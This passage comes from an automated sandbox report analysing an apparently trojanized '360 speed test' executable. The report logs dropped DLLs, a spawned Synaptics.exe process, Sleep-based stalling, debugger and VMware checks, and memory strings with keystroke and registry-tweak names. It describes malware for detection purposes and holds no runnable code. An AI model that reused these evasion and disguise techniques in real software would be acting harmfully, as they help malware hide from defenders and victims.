              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX

              Malware Analysis System Evasion

              barindex
              Found stalling execution ending in API Sleep call
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeStalling execution: Execution stalls by calling Sleepgraph_1-51170
              Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 1252Thread sleep time: -300000s >= -30000sJump to behavior
              Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 1784Thread sleep time: -60000s >= -30000sJump to behavior
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodesgraph_1-49687
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeAPI coverage: 5.6 %
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9477.tmp.P2PJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9475.tmp.P2PJump to dropped file
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\?????\PDown.dllJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9474.tmp.P2PJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9473.tmp.P2PJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9442.tmp.P2PJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9472.tmp.P2PJump to dropped file
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\?????\360net.dllJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts94A7.tmp.P2PJump to dropped file
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\?????\netmon\360nettj.dllJump to dropped file
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\?????\netmon\360perfoptm.dllJump to dropped file
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\?????\LiveUpd360.dllJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9476.tmp.P2PJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeFile opened: PhysicalDrive0Jump to behavior
              Source: C:\ProgramData\Synaptics\Synaptics.exeThread delayed: delay time: 60000Jump to behavior
              Source: C:\ProgramData\Synaptics\Synaptics.exeThread delayed: delay time: 60000Jump to behavior
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeFile opened: C:\Users\userJump to behavior
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeFile opened: C:\Users\user\AppDataJump to behavior
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.iniJump to behavior
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Internet ExplorerJump to behavior
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMware
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: urls360safe\netmonstdlcacheSystem\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}NetCfgInstanceIDCharacteristicsVMwareAnchorfreeTAP-Win32VPNvector<T> too longBFloating point (%%e, %%f, %%g, and %%G) is not supported by the WTL::CString class.360Common.dllGet360CommonInstanceGet360ProductHistoryManagerCreate360FireWareStateFunctionGetFireWallStateCreate360FireWareStateFunction2openH
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,1_2_0040E470
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,1_2_00436ADE
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,1_2_00452126
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,1_2_0045C999
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,1_2_00434BEE
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0045DD7C FindFirstFileW,FindClose,1_2_0045DD7C
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,1_2_0044BD29
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,1_2_00436D2D
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,1_2_00442E1F
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,1_2_00475FE5
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,1_2_0044BF8D
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0040EB70 LoadLibraryA,GetProcAddress,1_2_0040EB70
              Source: C:\ProgramData\Synaptics\Synaptics.exeProcess queried: DebugPortJump to behavior
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,1_2_0040D6D0
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00426DA1 CreateFileW,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,RtlAllocateHeap,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,1_2_00426DA1
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0042202E SetUnhandledExceptionFilter,1_2_0042202E
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_004230F5 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_004230F5
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00417D93 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_2_00417D93
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_2_00421FA7
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,1_2_004375B0
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeProcess created: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe "C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe" Jump to behavior
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeProcess created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdateJump to behavior
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0043916A LogonUserW,1_2_0043916A
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,1_2_0040D6D0
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00436431 __wcsicoll,mouse_event,__wcsicoll,mouse_event,1_2_00436431
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00445DD3 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,1_2_00445DD3
              Source: ._cache_360#U6d4b#U901f.exeBinary or memory string: Shell_TrayWnd
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpBinary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWnd
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.298051272.0000000002F12000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: explorer.exedwm.exeSystem Idle ProcessUnkown[%d]invalid map/set<T> iteratormap/set<T> too longszExeNamenamedisplayruleassocforgroundplatformkill|limit1limit2GDIProcessHandleQuotaSOFTWARE\Microsoft\Windows NT\CurrentVersion\Windowsmemorygdideadwindowieblackdirectkillhidexpvistawin7win8x64DeleteValue10000WaitToKillAppTimeoutControl Panel\Desktop3000HungAppTimeout01AutoEndTasksIoPageLockLimitSYSTEM\CurrentControlSet\Control\Session Manager\Memory ManagementWin32PrioritySeparationWin32PriorityControl38SYSTEM\CurrentControlSet\Control\PriorityControlAlwaysUnloadDLLSOFTWARE\Microsoft\Windows\CurrentVersion\ExplorerMinAnimateControl Panel\Desktop\WindowMetricsMenuShowDelayAutoRestartShellSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonCLSID\{00021400-0000-0000-C000-000000000046}DesktopProcessSoftware\Microsoft\Windows\CurrentVersion\ExplorerNYEnableSOFTWARE\Microsoft\Dfrg\BootOptimizeFunctionEnableAutoLayoutSOFTWARE\Microsoft\Windows\CurrentVersion\OptimalLayoutAutoSOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebugDoReportSOFTWARE\Microsoft\PCHealth\ErrorReportingShowUINtfsDisableLastAccessUpdateSYSTEM\CurrentControlSet\Control\FileSystem64DefaultTTLSYSTEM\CurrentControlSet\Services\Tcpip\ParametersEnablePMTUDiscoveryEnablePMTUBHDetectTcp1323OptsSackOpts2TcpMaxDupAcksNameSrvQueryTimeoutSYSTEM\CurrentControlSet\Services\NetBT\Parameters30MaxCmdsSYSTEM\CurrentControlSet\Services\LanmanWorkstation\ParametersMaxThreads32MaxCollectionCount%d%*.*fwinlogon.exeExplorer.exealg.exesvchost.exelsass.exemip.exeStikyNot.exesidebar.exeWordpad.exeSoundRecorder.execmd.exeSnippingTool.exewinword.exewinproj.exevisio.exeoutlook.exeosa.exemsimn.exemsaccess.exefrontpage.exefindfast.exeexcel.exepowerpnt.execalc.exenotepad.exemspaint.exeiexplore.exe\Device\ :%s%sQueryFullProcessImageNameWKernel32.dll\SystemRoot\??\%sIsWow64Processkernel32..\sysnativeShell_TrayWndTrayNotifyWndSysPagerToolbarWindow32Wow64RevertWow64FsRedirectionWow64DisableWow64FsRedirectionGetNativeSystemInfokernel32.dllntdll.dllZwQueryInformationProcessZwQuerySystemInformationo
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion InstallDateJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\consola.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\constani.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exeQueries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformationJump to behavior
